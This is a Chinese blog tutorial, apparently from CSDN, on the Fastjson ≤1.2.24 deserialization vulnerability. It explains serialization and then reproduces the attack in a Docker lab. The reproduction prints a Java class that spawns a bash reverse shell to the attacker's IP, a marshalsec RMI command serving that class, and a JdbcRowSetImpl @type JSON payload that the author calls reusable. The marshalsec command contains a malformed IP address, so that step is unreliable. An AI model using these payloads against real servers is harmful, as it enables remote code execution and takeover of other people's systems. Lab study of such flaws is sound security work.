Fastjson 反序列化漏洞

一、漏洞介绍

1、序列化和反序列化

(1)序列化:

将java对象转换成字节流的过程

java对象转变成二进制内容byte[],序列化后就可以把二进制内容存到文件中,或者远程传输

java对象:对象是咱们自己定义得类创建出来得

(2)反序列化:

将字节流还原回java对象得过程

把一个二进制内容(byte[])变回java对象

2、为什么需要序列化和反序列化

两个终端进行通信时,文本、图片、视频、链接,这些数据会以二进制得形式在网上传输

为了传输方便、保存方便,进程之间传输,所以要序列化

3、序列化如何工作

当对象的类实现 java.io.Serializable ,该对象才能进行序列化

4、fastjson jackson gson 【序列或反序列化组件】

前后端数据传输交互中,字符串string和json\xml格式互相转换。【常用json】

键值对

{

"name":"cover-3321",

"age":18

}

fastjson是一个java写的拥有高性能且功能完善的json库,接口,简单易用

二、漏洞原因

fastjson在解析json(反序列化)的过程中,支持使用@Type来实例化一个具体类,且自动调用这个类的set/get方法来访问属性。黑客通过查找代码中的get方法,来远程加载恶意命令,即造成反序列化漏洞

服务器的fastjson在处理json数据的过程中,没有对@type进行校验,攻击者就可以传入危险类,并且调用危险的类远程连接ldap/rmi服务,通过ldap/rmi服务上的恶意代码执行远程命令

涉及的fastjson版本<=1.2.24

三、漏洞复现

192.168.31.30为kali攻击机;192.168.31.221为靶机

1、启动靶场

(1)docker -compose up -d

(2)访问 http://你的IP:8090

【查看README.md】

(3)抓包测试是否可以修改

两处:

①GET请求改为POST

②增加了:{

"name":"coverxiaohe",

"age":20

}

2、kali配置java1.8环境

3、kali配置maven环境

【若未配置过,可查看大佬文章:kali 下安装 mvn_kali安装maven-CSDN博客

4、创建类文件HackerFile.java

在/var/www/html下创建,http服务可访问。

import java.lang.Runtime;
import java.lang.Process;
public class HackerFile {
    static {
        try {
            Runtime r = Runtime.getRuntime();
            Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.31.30/5555 0>&1"});
            p.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

编译成恶意的类文件 javac HackerFile.java

5、开启rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.59.31.30/#HackerFile" 6666

下载文件时需要添加#

使用jar包开启rmi服务,使得他人可以访问、并将文件下载到本地去执行

6、开启5555端口监听

7、修改数据包实现下载

数据包内容:【以后利用fastjson,只需修改访问地址,其他是固定的】

{
	"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.31.30:6666/HackerFile",
"autoCommit":true
	}
}

拿到shell

8、get shell的过程

发送数据包之后,靶机通过rmi 6666端口 下载了恶意类文件并且执行了它

该文件里有kali 反弹shell的命令,故实现了get shell

【/bin/bash","-c","bash -i >& /dev/tcp/192.168.31.30/5555 0>&1】

  • 32
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值